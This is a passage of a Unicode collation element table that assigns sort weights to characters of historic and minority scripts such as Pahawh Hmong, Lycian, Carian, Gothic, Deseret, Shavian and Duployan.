[.41F8.0020.0002] # PAHAWH HMONG SIGN NTUJ +16B6C ; [.41F9.0020.0002] # PAHAWH HMONG SIGN AV +16B6D ; [.41FA.0020.0002] # PAHAWH HMONG SIGN TXHEEJ CEEV +16B6E ; [.41FB.0020.0002] # PAHAWH HMONG SIGN MEEJ TSEEB +16B6F ; [.41FC.0020.0002] # PAHAWH HMONG SIGN TAU +16B70 ; [.41FD.0020.0002] # PAHAWH HMONG SIGN LOS +16B71 ; [.41FE.0020.0002] # PAHAWH HMONG SIGN MUS +16B72 ; [.41FF.0020.0002] # PAHAWH HMONG SIGN CIM HAIS LUS NTOG NTOG +16B73 ; [.4200.0020.0002] # PAHAWH HMONG SIGN CIM CUAM TSHOOJ +16B74 ; [.4201.0020.0002] # PAHAWH HMONG SIGN CIM TXWV +16B75 ; [.4202.0020.0002] # PAHAWH HMONG SIGN CIM TXWV CHWV +16B76 ; [.4203.0020.0002] # PAHAWH HMONG SIGN CIM PUB DAWB +16B77 ; [.4204.0020.0002] # PAHAWH HMONG SIGN CIM NRES TOS +16B7D ; [.4205.0020.0002] # PAHAWH HMONG CLAN SIGN TSHEEJ +16B7E ; [.4206.0020.0002] # PAHAWH HMONG CLAN SIGN YEEG +16B7F ; [.4207.0020.0002] # PAHAWH HMONG CLAN SIGN LIS +16B80 ; [.4208.0020.0002] # PAHAWH HMONG CLAN SIGN LAUJ +16B81 ; [.4209.0020.0002] # PAHAWH HMONG CLAN SIGN XYOOJ +16B82 ; [.420A.0020.0002] # PAHAWH HMONG CLAN SIGN KOO +16B83 ; [.420B.0020.0002] # PAHAWH HMONG CLAN SIGN HAWJ +16B84 ; [.420C.0020.0002] # PAHAWH HMONG CLAN SIGN MUAS +16B85 ; [.420D.0020.0002] # PAHAWH HMONG CLAN SIGN THOJ +16B86 ; [.420E.0020.0002] # PAHAWH HMONG CLAN SIGN TSAB +16B87 ; [.420F.0020.0002] # PAHAWH HMONG CLAN SIGN PHAB +16B88 ; [.4210.0020.0002] # PAHAWH HMONG CLAN SIGN KHAB +16B89 ; [.4211.0020.0002] # PAHAWH HMONG CLAN SIGN HAM +16B8A ; [.4212.0020.0002] # PAHAWH HMONG CLAN SIGN VAJ +16B8B ; [.4213.0020.0002] # PAHAWH HMONG CLAN SIGN FAJ +16B8C ; [.4214.0020.0002] # PAHAWH HMONG CLAN SIGN YAJ +16B8D ; [.4215.0020.0002] # PAHAWH HMONG CLAN SIGN TSWB +16B8E ; [.4216.0020.0002] # PAHAWH HMONG CLAN SIGN KWM +16B8F ; [.4217.0020.0002] # PAHAWH HMONG CLAN SIGN VWJ +10280 ; [.4218.0020.0002] # LYCIAN LETTER A +10281 ; [.4219.0020.0002] # LYCIAN LETTER E +10282 ; [.421A.0020.0002] # LYCIAN LETTER B +10283 ; [.421B.0020.0002] # LYCIAN LETTER BH +10284 ; [.421C.0020.0002] # LYCIAN LETTER G +10285 ; [.421D.0020.0002] # LYCIAN LETTER D +10286 ; [.421E.0020.0002] # LYCIAN LETTER I +10287 ; [.421F.0020.0002] # LYCIAN LETTER W +10288 ; [.4220.0020.0002] # LYCIAN LETTER Z +10289 ; [.4221.0020.0002] # LYCIAN LETTER TH +1028A ; [.4222.0020.0002] # LYCIAN LETTER J +1028B ; [.4223.0020.0002] # LYCIAN LETTER K +1028C ; [.4224.0020.0002] # LYCIAN LETTER Q +1028D ; [.4225.0020.0002] # LYCIAN LETTER L +1028E ; [.4226.0020.0002] # LYCIAN LETTER M +1028F ; [.4227.0020.0002] # LYCIAN LETTER N +10290 ; [.4228.0020.0002] # LYCIAN LETTER MM +10291 ; [.4229.0020.0002] # LYCIAN LETTER NN +10292 ; [.422A.0020.0002] # LYCIAN LETTER U +10293 ; [.422B.0020.0002] # LYCIAN LETTER P +10294 ; [.422C.0020.0002] # LYCIAN LETTER KK +10295 ; [.422D.0020.0002] # LYCIAN LETTER R +10296 ; [.422E.0020.0002] # LYCIAN LETTER S +10297 ; [.422F.0020.0002] # LYCIAN LETTER T +10298 ; [.4230.0020.0002] # LYCIAN LETTER TT +10299 ; [.4231.0020.0002] # LYCIAN LETTER AN +1029A ; [.4232.0020.0002] # LYCIAN LETTER EN +1029B ; [.4233.0020.0002] # LYCIAN LETTER H +1029C ; [.4234.0020.0002] # LYCIAN LETTER X +102A0 ; [.4235.0020.0002] # CARIAN LETTER A +102A1 ; [.4236.0020.0002] # CARIAN LETTER P2 +102A2 ; [.4237.0020.0002] # CARIAN LETTER D +102A3 ; [.4238.0020.0002] # CARIAN LETTER L +102A4 ; [.4239.0020.0002] # CARIAN LETTER UUU +102A5 ; [.423A.0020.0002] # CARIAN LETTER R +102A6 ; [.423B.0020.0002] # CARIAN LETTER LD +102A7 ; [.423C.0020.0002] # CARIAN LETTER A2 +102A8 ; [.423D.0020.0002] # CARIAN LETTER Q +102A9 ; [.423E.0020.0002] # CARIAN LETTER B +102AA ; [.423F.0020.0002] # CARIAN LETTER M +102AB ; [.4240.0020.0002] # CARIAN LETTER O +102AC ; [.4241.0020.0002] # CARIAN LETTER D2 +102AD ; [.4242.0020.0002] # CARIAN LETTER T +102AE ; [.4243.0020.0002] # CARIAN LETTER SH +102AF ; [.4244.0020.0002] # CARIAN LETTER SH2 +102B0 ; [.4245.0020.0002] # CARIAN LETTER S +102B1 ; [.4246.0020.0002] # CARIAN LETTER C-18 +102B2 ; [.4247.0020.0002] # CARIAN LETTER U +102B3 ; [.4248.0020.0002] # CARIAN LETTER NN +102B4 ; [.4249.0020.0002] # CARIAN LETTER X +102B5 ; [.424A.0020.0002] # CARIAN LETTER N +102B6 ; [.424B.0020.0002] # CARIAN LETTER TT2 +102B7 ; [.424C.0020.0002] # CARIAN LETTER P +102B8 ; [.424D.0020.0002] # CARIAN LETTER SS +102B9 ; [.424E.0020.0002] # CARIAN LETTER I +102BA ; [.424F.0020.0002] # CARIAN LETTER E +102BB ; [.4250.0020.0002] # CARIAN LETTER UUUU +102BC ; [.4251.0020.0002] # CARIAN LETTER K +102BD ; [.4252.0020.0002] # CARIAN LETTER K2 +102BE ; [.4253.0020.0002] # CARIAN LETTER ND +102BF ; [.4254.0020.0002] # CARIAN LETTER UU +102C0 ; [.4255.0020.0002] # CARIAN LETTER G +102C1 ; [.4256.0020.0002] # CARIAN LETTER G2 +102C2 ; [.4257.0020.0002] # CARIAN LETTER ST +102C3 ; [.4258.0020.0002] # CARIAN LETTER ST2 +102C4 ; [.4259.0020.0002] # CARIAN LETTER NG +102C5 ; [.425A.0020.0002] # CARIAN LETTER II +102C6 ; [.425B.0020.0002] # CARIAN LETTER C-39 +102C7 ; [.425C.0020.0002] # CARIAN LETTER TT +102C8 ; [.425D.0020.0002] # CARIAN LETTER UUU2 +102C9 ; [.425E.0020.0002] # CARIAN LETTER RR +102CA ; [.425F.0020.0002] # CARIAN LETTER MB +102CB ; [.4260.0020.0002] # CARIAN LETTER MB2 +102CC ; [.4261.0020.0002] # CARIAN LETTER MB3 +102CD ; [.4262.0020.0002] # CARIAN LETTER MB4 +102CE ; [.4263.0020.0002] # CARIAN LETTER LD2 +102CF ; [.4264.0020.0002] # CARIAN LETTER E2 +102D0 ; [.4265.0020.0002] # CARIAN LETTER UUU3 +10920 ; [.4266.0020.0002] # LYDIAN LETTER A +10921 ; [.4267.0020.0002] # LYDIAN LETTER B +10922 ; [.4268.0020.0002] # LYDIAN LETTER G +10923 ; [.4269.0020.0002] # LYDIAN LETTER D +10924 ; [.426A.0020.0002] # LYDIAN LETTER E +10925 ; [.426B.0020.0002] # LYDIAN LETTER V +10926 ; [.426C.0020.0002] # LYDIAN LETTER I +10927 ; [.426D.0020.0002] # LYDIAN LETTER Y +10928 ; [.426E.0020.0002] # LYDIAN LETTER K +10929 ; [.426F.0020.0002] # LYDIAN LETTER L +1092A ; [.4270.0020.0002] # LYDIAN LETTER M +1092B ; [.4271.0020.0002] # LYDIAN LETTER N +1092C ; [.4272.0020.0002] # LYDIAN LETTER O +1092D ; [.4273.0020.0002] # LYDIAN LETTER R +1092E ; [.4274.0020.0002] # LYDIAN LETTER SS +1092F ; [.4275.0020.0002] # LYDIAN LETTER T +10930 ; [.4276.0020.0002] # LYDIAN LETTER U +10931 ; [.4277.0020.0002] # LYDIAN LETTER F +10932 ; [.4278.0020.0002] # LYDIAN LETTER Q +10933 ; [.4279.0020.0002] # LYDIAN LETTER S +10934 ; [.427A.0020.0002] # LYDIAN LETTER TT +10935 ; [.427B.0020.0002] # LYDIAN LETTER AN +10936 ; [.427C.0020.0002] # LYDIAN LETTER EN +10937 ; [.427D.0020.0002] # LYDIAN LETTER LY +10938 ; [.427E.0020.0002] # LYDIAN LETTER NN +10939 ; [.427F.0020.0002] # LYDIAN LETTER C +10300 ; [.4280.0020.0002] # OLD ITALIC LETTER A +10301 ; [.4281.0020.0002] # OLD ITALIC LETTER BE +10302 ; [.4282.0020.0002] # OLD ITALIC LETTER KE +10303 ; [.4283.0020.0002] # OLD ITALIC LETTER DE +10304 ; [.4284.0020.0002] # OLD ITALIC LETTER E +10305 ; [.4285.0020.0002] # OLD ITALIC LETTER VE +10306 ; [.4286.0020.0002] # OLD ITALIC LETTER ZE +10307 ; [.4287.0020.0002] # OLD ITALIC LETTER HE +10308 ; [.4288.0020.0002] # OLD ITALIC LETTER THE +10309 ; [.4289.0020.0002] # OLD ITALIC LETTER I +1030A ; [.428A.0020.0002] # OLD ITALIC LETTER KA +1030B ; [.428B.0020.0002] # OLD ITALIC LETTER EL +1030C ; [.428C.0020.0002] # OLD ITALIC LETTER EM +1030D ; [.428D.0020.0002] # OLD ITALIC LETTER EN +1030E ; [.428E.0020.0002] # OLD ITALIC LETTER ESH +1031F ; [.428F.0020.0002] # OLD ITALIC LETTER ESS +1030F ; [.4290.0020.0002] # OLD ITALIC LETTER O +10310 ; [.4291.0020.0002] # OLD ITALIC LETTER PE +10311 ; [.4292.0020.0002] # OLD ITALIC LETTER SHE +10312 ; [.4293.0020.0002] # OLD ITALIC LETTER KU +10313 ; [.4294.0020.0002] # OLD ITALIC LETTER ER +10314 ; [.4295.0020.0002] # OLD ITALIC LETTER ES +10315 ; [.4296.0020.0002] # OLD ITALIC LETTER TE +10316 ; [.4297.0020.0002] # OLD ITALIC LETTER U +10317 ; [.4298.0020.0002] # OLD ITALIC LETTER EKS +10318 ; [.4299.0020.0002] # OLD ITALIC LETTER PHE +10319 ; [.429A.0020.0002] # OLD ITALIC LETTER KHE +1031A ; [.429B.0020.0002] # OLD ITALIC LETTER EF +1031B ; [.429C.0020.0002] # OLD ITALIC LETTER ERS +1031C ; [.429D.0020.0002] # OLD ITALIC LETTER CHE +1031D ; [.429E.0020.0002] # OLD ITALIC LETTER II +1031E ; [.429F.0020.0002] # OLD ITALIC LETTER UU +10330 ; [.42A0.0020.0002] # GOTHIC LETTER AHSA +10331 ; [.42A1.0020.0002] # GOTHIC LETTER BAIRKAN +10332 ; [.42A2.0020.0002] # GOTHIC LETTER GIBA +10333 ; [.42A3.0020.0002] # GOTHIC LETTER DAGS +10334 ; [.42A4.0020.0002] # GOTHIC LETTER AIHVUS +10335 ; [.42A5.0020.0002] # GOTHIC LETTER QAIRTHRA +10336 ; [.42A6.0020.0002] # GOTHIC LETTER IUJA +10337 ; [.42A7.0020.0002] # GOTHIC LETTER HAGL +10338 ; [.42A8.0020.0002] # GOTHIC LETTER THIUTH +10339 ; [.42A9.0020.0002] # GOTHIC LETTER EIS +1033A ; [.42AA.0020.0002] # GOTHIC LETTER KUSMA +1033B ; [.42AB.0020.0002] # GOTHIC LETTER LAGUS +1033C ; [.42AC.0020.0002] # GOTHIC LETTER MANNA +1033D ; [.42AD.0020.0002] # GOTHIC LETTER NAUTHS +1033E ; [.42AE.0020.0002] # GOTHIC LETTER JER +1033F ; [.42AF.0020.0002] # GOTHIC LETTER URUS +10340 ; [.42B0.0020.0002] # GOTHIC LETTER PAIRTHRA +10341 ; [.42B1.0020.0002] # GOTHIC LETTER NINETY +10342 ; [.42B2.0020.0002] # GOTHIC LETTER RAIDA +10343 ; [.42B3.0020.0002] # GOTHIC LETTER SAUIL +10344 ; [.42B4.0020.0002] # GOTHIC LETTER TEIWS +10345 ; [.42B5.0020.0002] # GOTHIC LETTER WINJA +10346 ; [.42B6.0020.0002] # GOTHIC LETTER FAIHU +10347 ; [.42B7.0020.0002] # GOTHIC LETTER IGGWS +10348 ; [.42B8.0020.0002] # GOTHIC LETTER HWAIR +10349 ; [.42B9.0020.0002] # GOTHIC LETTER OTHAL +1034A ; [.42BA.0020.0002] # GOTHIC LETTER NINE HUNDRED +10428 ; [.42BB.0020.0002] # DESERET SMALL LETTER LONG I +10400 ; [.42BB.0020.0008] # DESERET CAPITAL LETTER LONG I +10429 ; [.42BC.0020.0002] # DESERET SMALL LETTER LONG E +10401 ; [.42BC.0020.0008] # DESERET CAPITAL LETTER LONG E +1042A ; [.42BD.0020.0002] # DESERET SMALL LETTER LONG A +10402 ; [.42BD.0020.0008] # DESERET CAPITAL LETTER LONG A +1042B ; [.42BE.0020.0002] # DESERET SMALL LETTER LONG AH +10403 ; [.42BE.0020.0008] # DESERET CAPITAL LETTER LONG AH +1042C ; [.42BF.0020.0002] # DESERET SMALL LETTER LONG O +10404 ; [.42BF.0020.0008] # DESERET CAPITAL LETTER LONG O +1042D ; [.42C0.0020.0002] # DESERET SMALL LETTER LONG OO +10405 ; [.42C0.0020.0008] # DESERET CAPITAL LETTER LONG OO +1042E ; [.42C1.0020.0002] # DESERET SMALL LETTER SHORT I +10406 ; [.42C1.0020.0008] # DESERET CAPITAL LETTER SHORT I +1042F ; [.42C2.0020.0002] # DESERET SMALL LETTER SHORT E +10407 ; [.42C2.0020.0008] # DESERET CAPITAL LETTER SHORT E +10430 ; [.42C3.0020.0002] # DESERET SMALL LETTER SHORT A +10408 ; [.42C3.0020.0008] # DESERET CAPITAL LETTER SHORT A +10431 ; [.42C4.0020.0002] # DESERET SMALL LETTER SHORT AH +10409 ; [.42C4.0020.0008] # DESERET CAPITAL LETTER SHORT AH +10432 ; [.42C5.0020.0002] # DESERET SMALL LETTER SHORT O +1040A ; [.42C5.0020.0008] # DESERET CAPITAL LETTER SHORT O +10433 ; [.42C6.0020.0002] # DESERET SMALL LETTER SHORT OO +1040B ; [.42C6.0020.0008] # DESERET CAPITAL LETTER SHORT OO +10434 ; [.42C7.0020.0002] # DESERET SMALL LETTER AY +1040C ; [.42C7.0020.0008] # DESERET CAPITAL LETTER AY +10435 ; [.42C8.0020.0002] # DESERET SMALL LETTER OW +1040D ; [.42C8.0020.0008] # DESERET CAPITAL LETTER OW +10436 ; [.42C9.0020.0002] # DESERET SMALL LETTER WU +1040E ; [.42C9.0020.0008] # DESERET CAPITAL LETTER WU +10437 ; [.42CA.0020.0002] # DESERET SMALL LETTER YEE +1040F ; [.42CA.0020.0008] # DESERET CAPITAL LETTER YEE +10438 ; [.42CB.0020.0002] # DESERET SMALL LETTER H +10410 ; [.42CB.0020.0008] # DESERET CAPITAL LETTER H +10439 ; [.42CC.0020.0002] # DESERET SMALL LETTER PEE +10411 ; [.42CC.0020.0008] # DESERET CAPITAL LETTER PEE +1043A ; [.42CD.0020.0002] # DESERET SMALL LETTER BEE +10412 ; [.42CD.0020.0008] # DESERET CAPITAL LETTER BEE +1043B ; [.42CE.0020.0002] # DESERET SMALL LETTER TEE +10413 ; [.42CE.0020.0008] # DESERET CAPITAL LETTER TEE +1043C ; [.42CF.0020.0002] # DESERET SMALL LETTER DEE +10414 ; [.42CF.0020.0008] # DESERET CAPITAL LETTER DEE +1043D ; [.42D0.0020.0002] # DESERET SMALL LETTER CHEE +10415 ; [.42D0.0020.0008] # DESERET CAPITAL LETTER CHEE +1043E ; [.42D1.0020.0002] # DESERET SMALL LETTER JEE +10416 ; [.42D1.0020.0008] # DESERET CAPITAL LETTER JEE +1043F ; [.42D2.0020.0002] # DESERET SMALL LETTER KAY +10417 ; [.42D2.0020.0008] # DESERET CAPITAL LETTER KAY +10440 ; [.42D3.0020.0002] # DESERET SMALL LETTER GAY +10418 ; [.42D3.0020.0008] # DESERET CAPITAL LETTER GAY +10441 ; [.42D4.0020.0002] # DESERET SMALL LETTER EF +10419 ; [.42D4.0020.0008] # DESERET CAPITAL LETTER EF +10442 ; [.42D5.0020.0002] # DESERET SMALL LETTER VEE +1041A ; [.42D5.0020.0008] # DESERET CAPITAL LETTER VEE +10443 ; [.42D6.0020.0002] # DESERET SMALL LETTER ETH +1041B ; [.42D6.0020.0008] # DESERET CAPITAL LETTER ETH +10444 ; [.42D7.0020.0002] # DESERET SMALL LETTER THEE +1041C ; [.42D7.0020.0008] # DESERET CAPITAL LETTER THEE +10445 ; [.42D8.0020.0002] # DESERET SMALL LETTER ES +1041D ; [.42D8.0020.0008] # DESERET CAPITAL LETTER ES +10446 ; [.42D9.0020.0002] # DESERET SMALL LETTER ZEE +1041E ; [.42D9.0020.0008] # DESERET CAPITAL LETTER ZEE +10447 ; [.42DA.0020.0002] # DESERET SMALL LETTER ESH +1041F ; [.42DA.0020.0008] # DESERET CAPITAL LETTER ESH +10448 ; [.42DB.0020.0002] # DESERET SMALL LETTER ZHEE +10420 ; [.42DB.0020.0008] # DESERET CAPITAL LETTER ZHEE +10449 ; [.42DC.0020.0002] # DESERET SMALL LETTER ER +10421 ; [.42DC.0020.0008] # DESERET CAPITAL LETTER ER +1044A ; [.42DD.0020.0002] # DESERET SMALL LETTER EL +10422 ; [.42DD.0020.0008] # DESERET CAPITAL LETTER EL +1044B ; [.42DE.0020.0002] # DESERET SMALL LETTER EM +10423 ; [.42DE.0020.0008] # DESERET CAPITAL LETTER EM +1044C ; [.42DF.0020.0002] # DESERET SMALL LETTER EN +10424 ; [.42DF.0020.0008] # DESERET CAPITAL LETTER EN +1044D ; [.42E0.0020.0002] # DESERET SMALL LETTER ENG +10425 ; [.42E0.0020.0008] # DESERET CAPITAL LETTER ENG +1044E ; [.42E1.0020.0002] # DESERET SMALL LETTER OI +10426 ; [.42E1.0020.0008] # DESERET CAPITAL LETTER OI +1044F ; [.42E2.0020.0002] # DESERET SMALL LETTER EW +10427 ; [.42E2.0020.0008] # DESERET CAPITAL LETTER EW +10450 ; [.42E3.0020.0002] # SHAVIAN LETTER PEEP +10451 ; [.42E4.0020.0002] # SHAVIAN LETTER TOT +10452 ; [.42E5.0020.0002] # SHAVIAN LETTER KICK +10453 ; [.42E6.0020.0002] # SHAVIAN LETTER FEE +10454 ; [.42E7.0020.0002] # SHAVIAN LETTER THIGH +10455 ; [.42E8.0020.0002] # SHAVIAN LETTER SO +10456 ; [.42E9.0020.0002] # SHAVIAN LETTER SURE +10457 ; [.42EA.0020.0002] # SHAVIAN LETTER CHURCH +10458 ; [.42EB.0020.0002] # SHAVIAN LETTER YEA +10459 ; [.42EC.0020.0002] # SHAVIAN LETTER HUNG +1045A ; [.42ED.0020.0002] # SHAVIAN LETTER BIB +1045B ; [.42EE.0020.0002] # SHAVIAN LETTER DEAD +1045C ; [.42EF.0020.0002] # SHAVIAN LETTER GAG +1045D ; [.42F0.0020.0002] # SHAVIAN LETTER VOW +1045E ; [.42F1.0020.0002] # SHAVIAN LETTER THEY +1045F ; [.42F2.0020.0002] # SHAVIAN LETTER ZOO +10460 ; [.42F3.0020.0002] # SHAVIAN LETTER MEASURE +10461 ; [.42F4.0020.0002] # SHAVIAN LETTER JUDGE +10462 ; [.42F5.0020.0002] # SHAVIAN LETTER WOE +10463 ; [.42F6.0020.0002] # SHAVIAN LETTER HA-HA +10464 ; [.42F7.0020.0002] # SHAVIAN LETTER LOLL +10465 ; [.42F8.0020.0002] # SHAVIAN LETTER MIME +10466 ; [.42F9.0020.0002] # SHAVIAN LETTER IF +10467 ; [.42FA.0020.0002] # SHAVIAN LETTER EGG +10468 ; [.42FB.0020.0002] # SHAVIAN LETTER ASH +10469 ; [.42FC.0020.0002] # SHAVIAN LETTER ADO +1046A ; [.42FD.0020.0002] # SHAVIAN LETTER ON +1046B ; [.42FE.0020.0002] # SHAVIAN LETTER WOOL +1046C ; [.42FF.0020.0002] # SHAVIAN LETTER OUT +1046D ; [.4300.0020.0002] # SHAVIAN LETTER AH +1046E ; [.4301.0020.0002] # SHAVIAN LETTER ROAR +1046F ; [.4302.0020.0002] # SHAVIAN LETTER NUN +10470 ; [.4303.0020.0002] # SHAVIAN LETTER EAT +10471 ; [.4304.0020.0002] # SHAVIAN LETTER AGE +10472 ; [.4305.0020.0002] # SHAVIAN LETTER ICE +10473 ; [.4306.0020.0002] # SHAVIAN LETTER UP +10474 ; [.4307.0020.0002] # SHAVIAN LETTER OAK +10475 ; [.4308.0020.0002] # SHAVIAN LETTER OOZE +10476 ; [.4309.0020.0002] # SHAVIAN LETTER OIL +10477 ; [.430A.0020.0002] # SHAVIAN LETTER AWE +10478 ; [.430B.0020.0002] # SHAVIAN LETTER ARE +10479 ; [.430C.0020.0002] # SHAVIAN LETTER OR +1047A ; [.430D.0020.0002] # SHAVIAN LETTER AIR +1047B ; [.430E.0020.0002] # SHAVIAN LETTER ERR +1047C ; [.430F.0020.0002] # SHAVIAN LETTER ARRAY +1047D ; [.4310.0020.0002] # SHAVIAN LETTER EAR +1047E ; [.4311.0020.0002] # SHAVIAN LETTER IAN +1047F ; [.4312.0020.0002] # SHAVIAN LETTER YEW +1BC00 ; [.4313.0020.0002] # DUPLOYAN LETTER H +1BC01 ; [.4314.0020.0002] # DUPLOYAN LETTER X +1BC02 ; [.4315.0020.0002] # DUPLOYAN LETTER P +1BC03 ; [.4316.0020.0002] # DUPLOYAN LETTER T +1BC04 ; [.4317.0020.0002] # DUPLOYAN LETTER F +1BC05 ; [.4318.0020.0002] # DUPLOYAN LETTER K +1BC06 ; [.4319.0020.0002] # DUPLOYAN LETTER L +1BC07 ; [.431A.0020.0002] # DUPLOYAN LETTER B +1BC08 ; [.431B.0020.0002] # DUPLOYAN LETTER D +1BC09 ; [.431C.0020.0002] # DUPLOYAN LETTER V +1BC0A ; [.431D.0020.0002] # DUPLOYAN LETTER G +1BC0B ; [.431E.0020.0002] # DUPLOYAN LETTER R +1BC0C ; [.431F.0020.0002] # DUPLOYAN LETTER P N +1BC0D ; [.4320.0020.0002] # DUPLOYAN LETTER D S +1BC0E ; [.4321.0020.0002] # DUPLOYAN LETTER F N +1BC0F ; [.4322.0020.0002] # DUPLOYAN LETTER K M +1BC10 ; [.4323.0020.0002] # DUPLOYAN LETTER R S +1BC11 ; [.4324.0020.0002] # DUPLOYAN LETTER TH +1BC12 ; [.4325.0020.0002] # DUPLOYAN LETTER SLOAN DH +1BC13 ; [.4326.0020.0002] # DUPLOYAN LETTER DH +1BC14 ; [.4327.0020.0002] # DUPLOYAN LETTER KK +1BC15 ; [.4328.0020.0002] # DUPLOYAN LETTER SLOAN J +1BC16 ; [.4329.0020.0002] # DUPLOYAN LETTER HL +1BC17 ; [.432A.0020.0002] # DUPLOYAN LETTER LH +1BC18 ; [.432B.0020.0002] # DUPLOYAN LETTER RH +1BC19 ; [.432C.0020.0002] # DUPLOYAN LETTER M +1BC1A ; [.432D.0020.0002] # DUPLOYAN LETTER N +1BC1B ; [.432E.0020.0002] # DUPLOYAN LETTER J +1BC1C ; [.432F.0020.0002] # DUPLOYAN LETTER S +1BC1D ; [.4330.0020.0002] # DUPLOYAN LETTER M N +1BC1E ; [.4331.0020.0002] # DUPLOYAN LETTER N M +1BC1F ; [.4332.0020.0002] # DUPLOYAN LETTER J M +1BC20 ; [.4333.0020.0002] # DUPLOYAN LETTER S J +1BC21 ; [.4334.0020.0002] # DUPLOYAN LETTER M WITH DOT +1BC22 ; [.4335.0020.0002] # DUPLOYAN LETTER N WITH DOT +1BC23 ; [.4336.0020.0002] # DUPLOYAN LETTER J WITH DOT +1BC24 ; [.4337.0020.0002] # DUPLOYAN LETTER J WITH DOTS INSIDE AND ABOVE +1BC25 ; [.4338.0020.0002] # DUPLOYAN LETTER S WITH DOT +1BC26 ; [.4339.0020.0002] # DUPLOYAN LETTER S WITH DOT BELOW +1BC27 ; [.433A.0020.0002] # DUPLOYAN LETTER M S +1BC28 ; [.433B.0020.0002] # DUPLOYAN LETTER N S +1BC29 ; [.433C.0020.0002] # DUPLOYAN LETTER J S +1BC2A ; [.433D.0020.0002] # DUPLOYAN LETTER S S +1BC2B ; [.433E.0020.0002] # DUPLOYAN LETTER M N S +1BC2C ; [.433F.0020.0002] # DUPLOYAN LETTER N M S +1BC2D ; [.4340.0020.0002] # DUPLOYAN LETTER J M S +1BC2E ; [.4341.0020.0002] # DUPLOYAN LETTER S J S +1BC2F ; [.4342.0020.0002] # DUPLOYAN LETTER J S WITH DOT +1BC30 ; [.4343.0020.0002] # DUPLOYAN LETTER J N +1BC31 ; [.4344.0020.0002] # DUPLOYAN LETTER J N S +1BC32 ; [.4345.0020.0002] # DUPLOYAN LETTER S T +1BC33 ; [.4346.0020.0002] # DUPLOYAN LETTER S T R +1BC34 ; [.4347.0020.0002] # DUPLOYAN LETTER S P +1BC35 ; [.4348.0020.0002] # DUPLOYAN LETTER S P R +1BC36 ; [.4349.0020.0002] # DUPLOYAN LETTER T S +1BC37 ; [.434A.0020.0002] # DUPLOYAN LETTER T R S +1BC38 ; [.434B.0020.0002] # DUPLOYAN LETTER W +1BC39 ; [.434C.0020.0002] # DUPLOYAN LETTER WH +1BC3A ; [.434D.0020.0002] # DUPLOYAN LETTER W R +1BC3B ; [.434E.0020.0002] # DUPLOYAN LETTER S N +1BC3C ; [.434F.0020.0002] # DUPLOYAN LETTER S M +1BC3D ; [.4350.0020.0002] # DUPLOYAN LETTER K R S +1BC3E ; [.4351.0020.0002] # DUPLOYAN LETTER G R S +1BC3F ; [.4352.0020.0002] # DUPLOYAN LETTER S K +1BC40 ; [.4353.0020.0002] # DUPLOYAN LETTER S K R +1BC41 ; [.4354.0020.0002] # DUPLOYAN LETTER A +1BC42 ; [.4355.0020.0002] # DUPLOYAN LETTER SLOAN OW +1BC43 ; [.4356.0020.0002] # DUPLOYAN LETTER OA +1BC44 ; [.4357.0020.0002] # DUPLOYAN LETTER O +1BC45 ; [.4358.0020.0002] # DUPLOYAN LETTER AOU +1BC46 ; [.4359.0020.0002] # DUPLOYAN LETTER I +1BC47 ; [.435A.0020.0002] # DUPLOYAN LETTER E +1BC48 ; [.435B.0020.0002] # DUPLOYAN LETTER IE +1BC49 ; [.435C.0020.0002] # DUPLOYAN LETTER SHORT I +1BC4A ; [.435D.0020.0002] # DUPLOYAN LETTER UI +1BC4B ; [.435E.0020.0002] # DUPLOYAN LETTER EE +1BC4C ; [.435F.0020.0002] # DUPLOYAN LETTER SLOAN EH +1BC4D ; [.4360.0020.0002] # DUPLOYAN LETTER ROMANIAN I +1BC4E ; [.4361.0020.0002] # DUPLOYAN LETTER SLOAN EE +1BC4F ; [.4362.0020.0002] # DUPLOYAN LETTER LONG I +1BC50 ; [.4363.0020.0002] # DUPLOYAN LETTER YE +1BC51 ; [.4364.0020.0002] # DUPLOYAN LETTER U +1BC52 ; [.4365.0020.0002] # DUPLOYAN LETTER EU +1BC53 ; [.4366.0020.0002] # DUPLOYAN LETTER XW +1BC54 ; [.4367.0020.0002] # DUPLOYAN LETTER U N +1BC55 ; [.4368.0020.0002] # DUPLOYAN LETTER LONG U +1BC56 ; [.4369.0020.0002] # DUPLOYAN LETTER ROMANIAN U +1BC57 ; [.436A.0020.0002] # DUPLOYAN LETTER UH +1BC58 ; [.436B.0020.0002] # DUPLOYAN LETTER SLOAN U +1BC59 ; [.436C.0020.0002] # DUPLOYAN LETTER OOH +1BC5A ; [.436D.0020.0002] # DUPLOYAN LETTER OW +1BC5B ; [.436E.0020.0002] # DUPLOYAN LETTER OU +1BC5C ; [.436F.0020.0002] # DUPLOYAN LETTER WA +1BC5D ; [.4370.0020.0002] # DUPLOYAN LETTER WO +1BC5E ; [.4371.0020.0002] # DUPLOYAN LETTER WI +1BC5F ; [.4372.0020.0002] # DUPLOYAN LETTER WEI +1BC60 ; [.4373.0020.0002] # DUPLOYAN LETTER WOW +1BC61 ; [.4374.0020.0002] # DUPLOYAN LETTER NASAL U +1BC62 ; [.4375.0020.0002] # DUPLOYAN LETTER NASAL O +1BC63 ; [.4376.0020.0002] # DUPLOYAN LETTER NASAL I +1BC64 ; [.4377.0020.0002] # DUPLOYAN LETTER NASAL A +1BC65 ; [.4378.0020.0002] # DUPLOYAN LETTER PERNIN AN +1BC66 ; [.4379.0020.0002] # DUPLOYAN LETTER PERNIN AM +1BC67 ; [.437A.0020.0002] # DUPLOYAN LETTER SLOAN EN +1BC68 ; [.437B.0020.0002] # DUPLOYAN LETTER SLOAN AN +1BC69 ; [.437C.0020.0002] # DUPLOYAN LETTER SLOAN ON +1BC6A ; [.437D.0020.0002] # DUPLOYAN LETTER VOCALIC M +1BC70 ; [.437E.0020.0002] # DUPLOYAN AFFIX LEFT HORIZONTAL SECANT +1BC71 ; [.437F.0020.0002] # DUPLOYAN AFFIX MID HORIZONTAL SECANT +1BC72 ; [.4380.0020.0002] # DUPLOYAN AFFIX RIGHT HORIZONTAL SECANT +1BC73 ; [.4381.0020.0002] # DUPLOYAN AFFIX LOW VERTICAL SECANT +1BC74 ; [.4382.0020.0002] # DUPLOYAN AFFIX MID VERTICAL SECANT +1BC75 ; [.4383.0020.0002] # DUPLOYAN AFFIX HIGH VERTICAL SECANT +1BC76 ; [.4384.0020.0002] # DUPLOYAN AFFIX ATTACHED SECANT +1BC77 ; [.4385.0020.0002] # DUPLOYAN AFFIX ATTACHED LEFT-TO-RIGHT SECANT +1BC78 ; [.4386.0020.0002] # DUPLOYAN AFFIX ATTACHED TANGENT +1BC79 ; [.4387.0020.0002] # DUPLOYAN AFFIX ATTACHED TAIL +1BC7A ; 